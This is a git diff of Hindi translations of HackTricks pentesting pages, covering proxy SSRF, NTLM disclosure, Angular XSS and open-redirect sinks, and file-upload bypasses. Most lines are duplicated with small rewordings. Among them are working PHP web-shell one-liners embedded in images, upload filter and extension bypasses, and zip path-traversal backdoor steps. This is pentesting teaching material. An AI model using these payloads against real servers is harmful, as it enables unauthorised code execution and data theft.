यदि कोई पृष्ठ **उस कोड के साथ प्रतिक्रिया करता है**, तो यह शायद एक **खराब कॉन्फ़िगर की गई प्रॉक्सी** है। **यदि आप एक HTTP अनुरोध भेजते हैं जैसे: `GET https://google.com HTTP/1.1`** (होस्ट हेडर और अन्य सामान्य हेडर के साथ), तो **प्रॉक्सी** _**google.com**_ **तक पहुँचने की कोशिश करेगी** और आप एक **SSRF** पाएंगे।
यदि कोई पृष्ठ **कोड** के साथ **प्रतिक्रिया** करता है, तो यह शायद एक **खराब कॉन्फ़िगर की गई प्रॉक्सी** है। **यदि आप एक HTTP अनुरोध भेजते हैं जैसे: `GET https://google.com HTTP/1.1`** (होस्ट हेडर और अन्य सामान्य हेडर के साथ), तो **प्रॉक्सी** _**google.com**_ **तक पहुँचने की कोशिश करेगी** और आप एक **SSRF** पाएंगे।
**NTLM प्रमाणीकरण - जानकारी का खुलासा**
यदि चल रहा सर्वर प्रमाणीकरण के लिए **Windows** है या आप अपने **क्रेडेंशियल्स** के लिए एक लॉगिन पाते हैं (और **डोमेन** **नाम** के लिए पूछता है), तो आप एक **जानकारी का खुलासा** कर सकते हैं।\
**हेडर भेजें**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` और जिस तरह से **NTLM प्रमाणीकरण काम करता है**, सर्वर "WWW-Authenticate" हेडर के अंदर आंतरिक जानकारी (IIS संस्करण, Windows संस्करण...) के साथ प्रतिक्रिया देगा।\
आप **nmap प्लगइन** "_http-ntlm-info.nse_" का उपयोग करके इसे **स्वचालित** कर सकते हैं।
**हेडर** भेजें: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` और जिस तरह से **NTLM प्रमाणीकरण काम करता है**, सर्वर "WWW-Authenticate" हेडर के अंदर आंतरिक जानकारी (IIS संस्करण, Windows संस्करण...) के साथ प्रतिक्रिया देगा।\
आप इसे **nmap प्लगइन** "_http-ntlm-info.nse_" का उपयोग करके स्वचालित कर सकते हैं।
**HTTP रीडायरेक्ट (CTF)**
@ -336,7 +336,7 @@ _ध्यान दें कि जब भी ब्रूट-फोर्स
### पृष्ठों की निगरानी करें
आप [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) जैसे उपकरणों का उपयोग करके पृष्ठों की निगरानी कर सकते हैं ताकि संशोधनों की पहचान की जा सके जो कमजोरियों को डाल सकते हैं।
आप [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) जैसे उपकरणों का उपयोग करके पृष्ठों की निगरानी कर सकते हैं ताकि ऐसे संशोधन जो कमजोरियों को डाल सकते हैं।
### HackTricks स्वचालित आदेश
```

View File

@ -8,7 +8,7 @@ Checklist [from here](https://lsgeurope.com/post/angular-security-checklist).
* [ ] प्रोजेक्ट कॉन्फ़िगरेशन में स्क्रिप्ट के लिए सोर्समैप अक्षम है
* [ ] अविश्वसनीय उपयोगकर्ता इनपुट को हमेशा टेम्पलेट्स में उपयोग करने से पहले इंटरपोलेट या सैनीटाइज किया जाता है
* [ ] उपयोगकर्ता के पास सर्वर-साइड या क्लाइंट-साइड टेम्पलेट्स पर कोई नियंत्रण नहीं है
* [ ] अविश्वसनीय उपयोगकर्ता इनपुट को एप्लिकेशन द्वारा विश्वसनीय होने से पहले उचित सुरक्षा संदर्भ का उपयोग करके सैनीटाइज किया जाता है
* [ ] अविश्वसनीय उपयोगकर्ता इनपुट को एप्लिकेशन द्वारा विश्वसनीय होने से पहले एक उपयुक्त सुरक्षा संदर्भ का उपयोग करके सैनीटाइज किया जाता है
* [ ] `BypassSecurity*` विधियों का अविश्वसनीय इनपुट के साथ उपयोग नहीं किया जाता है
* [ ] अविश्वसनीय उपयोगकर्ता इनपुट को Angular क्लासेस जैसे `ElementRef`, `Renderer2` और `Document`, या अन्य JQuery/DOM सिंक्स में नहीं भेजा जाता है
@ -43,7 +43,7 @@ According to the documentation, हर Angular एप्लिकेशन म
Angular NgModules एक एप्लिकेशन डोमेन, एक वर्कफ़्लो, या निकटता से संबंधित क्षमताओं के सेट के लिए एक संकलन संदर्भ घोषित करते हैं। हर Angular एप्लिकेशन में एक रूट मॉड्यूल होता है, जिसे पारंपरिक रूप से `AppModule` कहा जाता है, जो एप्लिकेशन को लॉन्च करने के लिए बूटस्ट्रैप तंत्र प्रदान करता है। एक एप्लिकेशन आमतौर पर कई कार्यात्मक मॉड्यूल्स को शामिल करता है। `AppModule` को `app.module.ts` फ़ाइल में परिभाषित किया गया है।
Angular `Router` NgModule एक सेवा प्रदान करता है जो आपको अपने एप्लिकेशन में विभिन्न एप्लिकेशन राज्यों और दृश्य हायरार्क के बीच एक नेविगेशन पथ परिभाषित करने की अनुमति देता है। `RouterModule` को `app-routing.module.ts` फ़ाइल में परिभाषित किया गया है।
Angular `Router` NgModule एक सेवा प्रदान करता है जो आपको अपने एप्लिकेशन में विभिन्न एप्लिकेशन राज्यों और दृश्य हायरार्कियों के बीच एक नेविगेशन पथ परिभाषित करने की अनुमति देता है। `RouterModule` को `app-routing.module.ts` फ़ाइल में परिभाषित किया गया है।
डेटा या लॉजिक के लिए जो किसी विशिष्ट दृश्य से संबंधित नहीं है, और जिसे आप कंपोनेंट्स के बीच साझा करना चाहते हैं, आप एक सेवा क्लास बनाते हैं। एक सेवा क्लास परिभाषा के तुरंत पहले `@Injectable()` डेकोरेटर होता है। डेकोरेटर मेटाडेटा प्रदान करता है जो अन्य प्रदाताओं को आपकी क्लास में निर्भरता के रूप में इंजेक्ट करने की अनुमति देता है। निर्भरता इंजेक्शन (DI) आपको अपने कंपोनेंट क्लासेस को पतला और कुशल बनाए रखने की अनुमति देता है। वे सर्वर से डेटा नहीं लाते, उपयोगकर्ता इनपुट को मान्य नहीं करते, या सीधे कंसोल में लॉग नहीं करते; वे ऐसी कार्यों को सेवाओं को सौंपते हैं।
@ -218,7 +218,7 @@ test = "<script>alert(1)</script><h1>test</h1>";
Angular टेम्पलेट्स का उपयोग करके पृष्ठों को गतिशील रूप से बनाने के लिए टेम्पलेट्स का लाभ उठाता है। यह दृष्टिकोण Angular को मूल्यांकन करने के लिए टेम्पलेट अभिव्यक्तियों को डबल कर्ली ब्रैकेट्स (`{{}}`) के भीतर संलग्न करने की आवश्यकता होती है। इस तरह, फ्रेमवर्क अतिरिक्त कार्यक्षमता प्रदान करता है। उदाहरण के लिए, एक टेम्पलेट जैसे `{{1+1}}` 2 के रूप में प्रदर्शित होगा।
आमतौर पर, Angular उपयोगकर्ता इनपुट को बचाता है जिसे टेम्पलेट अभिव्यक्तियों के साथ भ्रमित किया जा सकता है (जैसे, \`< > ' " \`\` जैसे वर्ण)। इसका मतलब है कि इस प्रतिबंध को पार करने के लिए अतिरिक्त कदमों की आवश्यकता होती है, जैसे कि ऐसे फ़ंक्शंस का उपयोग करना जो JavaScript स्ट्रिंग ऑब्जेक्ट उत्पन्न करते हैं ताकि ब्लैकलिस्टेड वर्णों का उपयोग करने से बचा जा सके। हालाँकि, इसे प्राप्त करने के लिए, हमें Angular संदर्भ, इसकी विशेषताओं और चर पर विचार करना होगा। इसलिए, एक टेम्पलेट इंजेक्शन हमला इस प्रकार दिखाई दे सकता है:
आमतौर पर, Angular उपयोगकर्ता इनपुट को बचाता है जिसे टेम्पलेट अभिव्यक्तियों के साथ भ्रमित किया जा सकता है (जैसे, \`< > ' " \`\ जैसे वर्ण)। इसका मतलब है कि इस प्रतिबंध को पार करने के लिए अतिरिक्त कदमों की आवश्यकता होती है, जैसे कि ऐसे फ़ंक्शंस का उपयोग करना जो JavaScript स्ट्रिंग ऑब्जेक्ट उत्पन्न करते हैं ताकि ब्लैकलिस्टेड वर्णों का उपयोग करने से बचा जा सके। हालाँकि, इसे प्राप्त करने के लिए, हमें Angular संदर्भ, इसकी विशेषताओं और चर पर विचार करना होगा। इसलिए, एक टेम्पलेट इंजेक्शन हमला इस प्रकार दिखाई दे सकता है:
```jsx
//app.component.ts
const _userInput = '{{constructor.constructor(\'alert(1)\'()}}'
@ -375,7 +375,7 @@ this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', '<img src=1 oner
#### jQuery
jQuery एक तेज, छोटा और फीचर-समृद्ध JavaScript लाइब्रेरी है जिसे Angular प्रोजेक्ट में HTML DOM ऑब्जेक्ट्स के साथ हेरफेर करने में मदद के लिए उपयोग किया जा सकता है। हालाँकि, जैसा कि ज्ञात है, इस लाइब्रेरी की विधियों का उपयोग XSS भेद्यता प्राप्त करने के लिए किया जा सकता है। Angular प्रोजेक्ट्स में कुछ कमजोर jQuery विधियों के शोषण के तरीके पर चर्चा करने के लिए, हमने इस उपखंड को जोड़ा है।
jQuery एक तेज, छोटा और फीचर-समृद्ध JavaScript लाइब्रेरी है जिसे Angular प्रोजेक्ट में HTML DOM ऑब्जेक्ट्स के साथ हेरफेर करने में मदद के लिए उपयोग किया जा सकता है। हालाँकि, जैसा कि ज्ञात है, इस लाइब्रेरी की विधियों का उपयोग XSS भेद्यता प्राप्त करने के लिए किया जा सकता है। Angular प्रोजेक्ट में कुछ कमजोर jQuery विधियों के शोषण के तरीके पर चर्चा करने के लिए, हमने इस उपखंड को जोड़ा है।
* `html()` विधि सेट के पहले तत्व की HTML सामग्री प्राप्त करती है या हर मिलान किए गए तत्व की HTML सामग्री सेट करती है। हालाँकि, डिज़ाइन के अनुसार, कोई भी jQuery कंस्ट्रक्टर या विधि जो HTML स्ट्रिंग स्वीकार करती है, संभावित रूप से कोड निष्पादित कर सकती है। यह `<script>` टैग के इंजेक्शन या कोड निष्पादित करने वाले HTML विशेषताओं के उपयोग के माध्यम से हो सकता है जैसा कि उदाहरण में दिखाया गया है।
@ -450,7 +450,7 @@ W3C दस्तावेज़ के अनुसार, `window.location` औ
* `window.location.href`(और `document.location.href`)
वर्तमान DOM स्थान ऑब्जेक्ट प्राप्त करने का मानक तरीका `window.location` का उपयोग करना है। इसका उपयोग ब्राउज़र को एक नए पृष्ठ पर रीडायरेक्ट करने के लिए भी किया जा सकता है। परिणामस्वरूप, इस ऑब्जेक्ट पर नियंत्रण होने से हमें एक ओपन रीडायरेक्ट भेद्यता का शोषण करने की अनुमति मिलती है।
वर्तमान DOM स्थान ऑब्जेक्ट प्राप्त करने का मानक तरीका `window.location` का उपयोग करना है। इसका उपयोग ब्राउज़र को एक नए पृष्ठ पर रीडायरेक्ट करने के लिए भी किया जा सकता है। परिणामस्वरूप, इस ऑब्जेक्ट पर नियंत्रण होने से हमें ओपन रीडायरेक्ट भेद्यता का शोषण करने की अनुमति मिलती है।
```tsx
//app.component.ts
@ -468,7 +468,7 @@ window.location.href = "https://google.com/about"
शोषण प्रक्रिया निम्नलिखित परिदृश्यों के लिए समान है।
* `window.location.assign()`(और `document.location.assign()`)
यह विधि विंडो को निर्दिष्ट URL पर दस्तावेज़ लोड और प्रदर्शित करने का कारण बनती है। यदि हमारे पास इस विधि पर नियंत्रण है, तो यह एक ओपन रीडायरेक्ट हमले के लिए एक सिंक हो सकता है।
यह विधि विंडो को निर्दिष्ट URL पर दस्तावेज़ लोड और प्रदर्शित करने का कारण बनती है। यदि हमारे पास इस विधि पर नियंत्रण है, तो यह ओपन रीडायरेक्ट हमले के लिए एक सिंक हो सकता है।
```tsx
//app.component.ts
@ -533,7 +533,7 @@ this.document.location.href = 'https://google.com/about';
//app.component.html
<button type="button" (click)="goToUrl()">Click me!</button>
```
* शोध चरण के दौरान, हमने ओपन रीडायरेक्ट भेद्यताओं के लिए Angular `Location` क्लास की भी समीक्षा की, लेकिन कोई मान्य वेक्टर नहीं मिला। `Location` एक Angular सेवा है जिसका उपयोग एप्लिकेशन ब्राउज़र के वर्तमान URL के साथ बातचीत करने के लिए कर सकते हैं। इस सेवा में दिए गए URL को संशोधित करने के लिए कई विधियाँ हैं - `go()` , `replaceState()`, और `prepareExternalUrl()`। हालाँकि, हम उन्हें बाहरी डोमेन पर रीडायरेक्ट करने के लिए उपयोग नहीं कर सकते। उदाहरण के लिए:
* शोध चरण के दौरान, हमने ओपन रीडायरेक्ट भेद्यताओं के लिए Angular `Location` क्लास की भी समीक्षा की, लेकिन कोई मान्य वेक्टर नहीं मिला। `Location` एक Angular सेवा है जिसका उपयोग एप्लिकेशन वर्तमान URL के साथ बातचीत करने के लिए कर सकते हैं। इस सेवा में दिए गए URL को संशोधित करने के लिए कई विधियाँ हैं - `go()` , `replaceState()`, और `prepareExternalUrl()`। हालाँकि, हम उन्हें बाहरी डोमेन पर रीडायरेक्ट करने के लिए उपयोग नहीं कर सकते। उदाहरण के लिए:
```tsx
//app.component.ts

View File

@ -45,7 +45,7 @@
- _file.php%00.png%00.jpg_
6. **मान्य एक्सटेंशन से पहले exec एक्सटेंशन डालने का प्रयास करें** और प्रार्थना करें कि सर्वर गलत कॉन्फ़िगर किया गया है। (Apache की गलत कॉन्फ़िगरेशन का शोषण करने के लिए उपयोगी जहां कोई भी एक्सटेंशन **.php** के साथ समाप्त नहीं होता है):
- _ex: file.php.png_
7. **Windows में NTFS वैकल्पिक डेटा स्ट्रीम (ADS)** का उपयोग करें। इस मामले में, एक कलन वर्ण “:” एक निषिद्ध एक्सटेंशन के बाद और एक अनुमत के पहले डाला जाएगा। परिणामस्वरूप, सर्वर पर **निषिद्ध एक्सटेंशन के साथ एक खाली फ़ाइल** बनाई जाएगी (जैसे “file.asax:.jpg”)। इस फ़ाइल को बाद में अन्य तकनीकों का उपयोग करके संपादित किया जा सकता है जैसे कि इसके छोटे फ़ाइल नाम का उपयोग करना। “**::$data**” पैटर्न का उपयोग गैर-खाली फ़ाइलें बनाने के लिए भी किया जा सकता है। इसलिए, इस पैटर्न के बाद एक बिंदु वर्ण जोड़ना आगे की प्रतिबंधों को बायपास करने के लिए भी उपयोगी हो सकता है (जैसे “file.asp::$data.”)
7. **Windows में NTFS वैकल्पिक डेटा स्ट्रीम (ADS)** का उपयोग करें। इस मामले में, एक कलन वर्ण “:” एक निषिद्ध एक्सटेंशन के बाद और एक अनुमत के पहले डाला जाएगा। परिणामस्वरूप, सर्वर पर **निषिद्ध एक्सटेंशन के साथ एक खाली फ़ाइल** बनाई जाएगी (जैसे “file.asax:.jpg”)। इस फ़ाइल को बाद में अन्य तकनीकों का उपयोग करके संपादित किया जा सकता है जैसे कि इसके छोटे फ़ाइल नाम का उपयोग करना। “**::$data**” पैटर्न का उपयोग गैर-खाली फ़ाइलें बनाने के लिए भी किया जा सकता है। इसलिए, इस पैटर्न के बाद एक बिंदु वर्ण जोड़ना आगे की प्रतिबंधों को बायपास करने के लिए भी उपयोगी हो सकता है (जैसे “file.asp::$data.”)
8. फ़ाइल नाम सीमाओं को तोड़ने का प्रयास करें। मान्य एक्सटेंशन कट जाता है। और दुर्भावनापूर्ण PHP छोड़ दिया जाता है। AAA<--SNIP-->AAA.php
```
@ -63,7 +63,7 @@ AAA<--SNIP 232 A-->AAA.php.png
- **Content-Type** जांच को बायपास करें **Content-Type** **header** के **मान** को सेट करके: _image/png_ , _text/plain , application/octet-stream_
1. Content-Type **शब्दकोश**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- फ़ाइल की शुरुआत में **एक वास्तविक छवि** के **बाइट्स** जोड़कर **जादुई संख्या** जांच को बायपास करें ( _file_ कमांड को भ्रमित करें)। या **metadata** के अंदर शेल पेश करें:\
- फ़ाइल की शुरुआत में **एक वास्तविक छवि** के **बाइट्स** को जोड़कर **जादुई संख्या** जांच को बायपास करें ( _file_ कमांड को भ्रमित करें)। या **metadata** के अंदर शेल पेश करें:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` या आप **पेलोड को सीधे** एक छवि में भी पेश कर सकते हैं:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
@ -79,12 +79,12 @@ AAA<--SNIP 232 A-->AAA.php.png
- पहले से अपलोड की गई फ़ाइल का नाम **बदलने** के लिए एक भेद्यता खोजें (एक्सटेंशन बदलने के लिए)।
- बैकडोर को निष्पादित करने के लिए **स्थानीय फ़ाइल समावेशन** भेद्यता खोजें।
- **संभावित जानकारी का खुलासा**:
1. **एक ही नाम** वाली फ़ाइल को **कई बार** (और **एक ही समय में**) अपलोड करें
2. **पहले से मौजूद** फ़ाइल या **फोल्डर** के **नाम** वाली फ़ाइल अपलोड करें
1. **एक ही समय में** **एक ही नाम** के साथ **कई बार** फ़ाइल अपलोड करें
2. **पहले से मौजूद** फ़ाइल या **फोल्डर** के **नाम** के साथ फ़ाइल अपलोड करें
3. **“.”, “..”, या “…”** के रूप में नाम वाली फ़ाइल अपलोड करना। उदाहरण के लिए, Windows में Apache में, यदि एप्लिकेशन अपलोड की गई फ़ाइलों को “/www/uploads/” निर्देशिका में सहेजता है, तो “.” फ़ाइल नाम “/www/” निर्देशिका में “uploads” नाम की फ़ाइल बनाएगा।
4. ऐसी फ़ाइल अपलोड करें जिसे आसानी से हटाया नहीं जा सकता जैसे **“…:.jpg”** **NTFS** में। (Windows)
5. **Windows** में **अमान्य वर्ण** जैसे `|<>*?”` के साथ फ़ाइल अपलोड करें। (Windows)
6. **Windows** में **आरक्षित** (**निषिद्ध**) **नामों** जैसे CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, और LPT9 के साथ फ़ाइल अपलोड करें
5. Windows में **अमान्य वर्णों** के साथ फ़ाइल अपलोड करें जैसे कि `|<>*?”` इसके नाम में। (Windows)
6. Windows में **आरक्षित** (**निषिद्ध**) **नामों** के साथ फ़ाइल अपलोड करें जैसे CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, और LPT9।
- **कोड** निष्पादित करने के लिए **एक निष्पादन योग्य** (.exe) या **.html** (कम संदिग्ध) फ़ाइल अपलोड करने का प्रयास करें जो जब पीड़ित द्वारा गलती से खोली जाती है।
### विशेष एक्सटेंशन ट्रिक्स
@ -92,21 +92,21 @@ AAA<--SNIP 232 A-->AAA.php.png
यदि आप **PHP सर्वर** पर फ़ाइलें अपलोड करने का प्रयास कर रहे हैं, तो [कोड निष्पादित करने के लिए **.htaccess** ट्रिक पर एक नज़र डालें](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
यदि आप **ASP सर्वर** पर फ़ाइलें अपलोड करने का प्रयास कर रहे हैं, तो [कोड निष्पादित करने के लिए **.config** ट्रिक पर एक नज़र डालें](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
`.phar` फ़ाइलें Java के लिए `.jar` की तरह होती हैं, लेकिन PHP के लिए, और इन्हें **PHP फ़ाइल** की तरह **उपयोग किया जा सकता है** (इसे PHP के साथ निष्पादित करना, या इसे स्क्रिप्ट के अंदर शामिल करना...)
`.phar` फ़ाइलें Java के लिए `.jar` की तरह होती हैं, लेकिन PHP के लिए, और इन्हें **PHP फ़ाइल** की तरह **उपयोग किया जा सकता है** (PHP के साथ निष्पादित करना, या इसे स्क्रिप्ट के अंदर शामिल करना...)
`.inc` एक्सटेंशन कभी-कभी PHP फ़ाइलों के लिए उपयोग किया जाता है जो केवल फ़ाइलों को **आयात** करने के लिए उपयोग की जाती हैं, इसलिए, किसी बिंदु पर, किसी ने **इस एक्सटेंशन को निष्पादित करने की अनुमति दी हो सकती है**
`.inc` एक्सटेंशन कभी-कभी PHP फ़ाइलों के लिए उपयोग किया जाता है जो केवल फ़ाइलों को **आयात** करने के लिए उपयोग की जाती हैं, इसलिए, किसी बिंदु पर, किसी ने **इस एक्सटेंशन को निष्पादित करने** की अनुमति दी हो सकती है।
## **Jetty RCE**
यदि आप Jetty सर्वर में एक XML फ़ाइल अपलोड कर सकते हैं तो आप [RCE प्राप्त कर सकते हैं क्योंकि **नई \*.xml और \*.war स्वचालित रूप से संसाधित होती हैं**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** इसलिए, जैसा कि निम्नलिखित छवि में उल्लेख किया गया है, XML फ़ाइल को `$JETTY_BASE/webapps/` में अपलोड करें और शेल की अपेक्षा करें!
यदि आप Jetty सर्वर में एक XML फ़ाइल अपलोड कर सकते हैं तो आप [RCE प्राप्त कर सकते हैं क्योंकि **नई \*.xml और \*.war स्वचालित रूप से संसाधित होती हैं**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** इसलिए, जैसा कि निम्नलिखित छवि में उल्लेख किया गया है, XML फ़ाइल को `$JETTY_BASE/webapps/` में अपलोड करें और शेल की उम्मीद करें!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
## **uWSGI RCE**
इस भेद्यता की विस्तृत खोज के लिए मूल शोध की जांच करें: [uWSGI RCE शोषण](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
इस भेद्यता की विस्तृत खोज के लिए मूल शोध देखें: [uWSGI RCE शोषण](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
रिमोट कमांड निष्पादन (RCE) भेद्यताएँ uWSGI सर्वरों में शोषित की जा सकती हैं यदि किसी के पास `.ini` कॉन्फ़िगरेशन फ़ाइल को संशोधित करने की क्षमता हो। uWSGI कॉन्फ़िगरेशन फ़ाइलें "जादुई" चर, प्लेसहोल्डर और ऑपरेटर को शामिल करने के लिए एक विशिष्ट वाक्यविन्यास का उपयोग करती हैं। विशेष रूप से, '@' ऑपरेटर, जिसका उपयोग `@(filename)` के रूप में किया जाता है, एक फ़ाइल की सामग्री को शामिल करने के लिए डिज़ाइन किया गया है। uWSGI में विभिन्न समर्थित योजनाओं में, "exec" योजना विशेष रूप से शक्तिशाली है, जो एक प्रक्रिया के मानक आउटपुट से डेटा पढ़ने की अनुमति देती है। इस सुविधा का दुरुपयोग रिमोट कमांड निष्पादन या मनमाने फ़ाइल लेखन/पढ़ने के लिए किया जा सकता है जब एक `.ini` कॉन्फ़िगरेशन फ़ाइल संसाधित की जाती है।
Remote Command Execution (RCE) भेद्यताएँ uWSGI सर्वरों में शोषित की जा सकती हैं यदि किसी के पास `.ini` कॉन्फ़िगरेशन फ़ाइल को संशोधित करने की क्षमता हो। uWSGI कॉन्फ़िगरेशन फ़ाइलें "जादुई" चर, प्लेसहोल्डर और ऑपरेटर को शामिल करने के लिए एक विशिष्ट वाक्यविन्यास का उपयोग करती हैं। विशेष रूप से, '@' ऑपरेटर, जिसका उपयोग `@(filename)` के रूप में किया जाता है, एक फ़ाइल की सामग्री को शामिल करने के लिए डिज़ाइन किया गया है। uWSGI में विभिन्न समर्थित योजनाओं में, "exec" योजना विशेष रूप से शक्तिशाली है, जो एक प्रक्रिया के मानक आउटपुट से डेटा पढ़ने की अनुमति देती है। इस सुविधा का दुरुपयोग Remote Command Execution या Arbitrary File Write/Read के लिए किया जा सकता है जब एक `.ini` कॉन्फ़िगरेशन फ़ाइल संसाधित की जाती है।
हानिकारक `uwsgi.ini` फ़ाइल का निम्नलिखित उदाहरण विचार करें, जो विभिन्न योजनाओं को प्रदर्शित करता है:
```ini
@ -132,8 +132,8 @@ uWSGI की कॉन्फ़िगरेशन फ़ाइल पार्
## **wget फ़ाइल अपलोड/SSRF ट्रिक**
कुछ अवसरों पर आप देख सकते हैं कि एक सर्वर **`wget`** का उपयोग **फ़ाइलें डाउनलोड करने** के लिए कर रहा है और आप **URL** को **संकेत** कर सकते हैं। इन मामलों में, कोड यह जांच सकता है कि डाउनलोड की गई फ़ाइलों का एक्सटेंशन एक व्हाइटलिस्ट के भीतर है ताकि यह सुनिश्चित किया जा सके कि केवल अनुमत फ़ाइलें डाउनलोड की जा रही हैं। हालाँकि, **यह जांच बायपास की जा सकती है।**\
**linux** में **फ़ाइल नाम** की **अधिकतम** लंबाई **255** है, हालाँकि, **wget** फ़ाइल नामों को **236** वर्णों तक संक्षिप्त करता है। आप **"A"\*232+".php"+".gif"** नामक फ़ाइल डाउनलोड कर सकते हैं, यह फ़ाइल नाम **जांच** को **बायपास** करेगा (जैसे कि इस उदाहरण में **".gif"** एक **मान्य** एक्सटेंशन है) लेकिन `wget` फ़ाइल का नाम **"A"\*232+".php"** में **बदल देगा**
कुछ अवसरों पर आप पाएंगे कि एक सर्वर **`wget`** का उपयोग **फ़ाइलें डाउनलोड करने** के लिए कर रहा है और आप **URL** को **संकेत** कर सकते हैं। इन मामलों में, कोड यह जांच सकता है कि डाउनलोड की गई फ़ाइलों का एक्सटेंशन एक व्हाइटलिस्ट के भीतर है ताकि यह सुनिश्चित किया जा सके कि केवल अनुमत फ़ाइलें ही डाउनलोड की जाएंगी। हालाँकि, **यह जांच बायपास की जा सकती है।**\
**linux** में **फ़ाइल नाम** की **अधिकतम** लंबाई **255** है, हालाँकि, **wget** फ़ाइल नामों को **236** वर्णों तक संक्षिप्त करता है। आप **"A"\*232+".php"+".gif"** नामक फ़ाइल को **डाउनलोड** कर सकते हैं, यह फ़ाइल नाम **जांच** को **बायपास** करेगा (जैसे कि इस उदाहरण में **".gif"** एक **मान्य** एक्सटेंशन है) लेकिन `wget` फ़ाइल का नाम **"A"\*232+".php"** में **बदल देगा**
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -174,9 +174,9 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
- [**SVG फ़ाइल अपलोड के माध्यम से ओपन रीडायरेक्ट**](../open-redirect.md#open-redirect-uploading-svg-files)
- [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) से **विभिन्न svg पेलोड** का प्रयास करें\*\*\*\*
- [प्रसिद्ध **ImageTrick** कमजोरी](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- यदि आप **वेब सर्वर को URL से इमेज पकड़ने के लिए इंगित कर सकते हैं** तो आप [SSRF](../ssrf-server-side-request-forgery/index.html) का शोषण करने का प्रयास कर सकते हैं। यदि यह **इमेज** किसी **सार्वजनिक** साइट पर **सहेजी** जा रही है, तो आप [https://iplogger.org/invisible/](https://iplogger.org/invisible/) से एक URL भी इंगित कर सकते हैं और **हर आगंतुक की जानकारी चुरा सकते हैं**
- यदि आप **वेब सर्वर को एक URL से इमेज पकड़ने के लिए इंगित कर सकते हैं** तो आप [SSRF](../ssrf-server-side-request-forgery/index.html) का शोषण करने का प्रयास कर सकते हैं। यदि यह **इमेज** किसी **सार्वजनिक** साइट पर **सहेजी** जा रही है, तो आप [https://iplogger.org/invisible/](https://iplogger.org/invisible/) से एक URL भी इंगित कर सकते हैं और **हर आगंतुक की जानकारी चुरा सकते हैं**
- [PDF-Adobe अपलोड के साथ **XXE और CORS** बायपास](pdf-upload-xxe-and-cors-bypass.md)
- विशेष रूप से तैयार किए गए PDFs से XSS: [निम्नलिखित पृष्ठ प्रस्तुत करता है कि **JS निष्पादन प्राप्त करने के लिए PDF डेटा कैसे इंजेक्ट करें**](../xss-cross-site-scripting/pdf-injection.md)। यदि आप PDFs अपलोड कर सकते हैं तो आप कुछ PDF तैयार कर सकते हैं जो दिए गए निर्देशों के अनुसार मनमाना JS निष्पादित करेगा।
- विशेष रूप से तैयार किए गए PDFs को XSS के लिए: [निम्नलिखित पृष्ठ प्रस्तुत करता है कि **JS निष्पादन प्राप्त करने के लिए PDF डेटा कैसे इंजेक्ट करें**](../xss-cross-site-scripting/pdf-injection.md)। यदि आप PDFs अपलोड कर सकते हैं तो आप कुछ PDF तैयार कर सकते हैं जो दिए गए निर्देशों के अनुसार मनमाना JS निष्पादित करेगा।
- \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) सामग्री को अपलोड करें ताकि यह जांचा जा सके कि सर्वर में कोई **एंटीवायरस** है या नहीं
- फ़ाइलें अपलोड करते समय यदि कोई **आकार सीमा** है तो जांचें
@ -212,7 +212,7 @@ https://github.com/portswigger/upload-scanner
#### सिम्लिंक
एक लिंक अपलोड करें जिसमें अन्य फ़ाइलों के लिए सॉफ्ट लिंक शामिल हैं, फिर, डिकंप्रेस की गई फ़ाइलों तक पहुँचते समय आप लिंक की गई फ़ाइलों तक पहुँचेंगे:
अन्य फ़ाइलों के लिए सॉफ्ट लिंक वाले लिंक को अपलोड करें, फिर, डिकंप्रेस की गई फ़ाइलों तक पहुँचते समय आप लिंक की गई फ़ाइलों तक पहुँचेंगे:
```
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
@ -270,7 +270,7 @@ root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php
root@s2crew:/tmp# zip cmd.zip xx*.php
```
3. **हेक्स एडिटर या vi के साथ संशोधन**: ज़िप के अंदर फाइलों के नामों को vi या हेक्स एडिटर का उपयोग करके बदला जाता है, "xxA" को "../" में बदलकर निर्देशिकाओं को पार किया जाता है
3. **हेक्स एडिटर या vi के साथ संशोधन**: ज़िप के अंदर फाइलों के नाम vi या हेक्स एडिटर का उपयोग करके बदले जाते हैं, "xxA" को "../" में बदलकर निर्देशिकाओं को पार करते हैं
```bash
:set modifiable
@ -299,9 +299,9 @@ PNG फ़ाइल के IDAT भाग में PHP शेल एम्ब
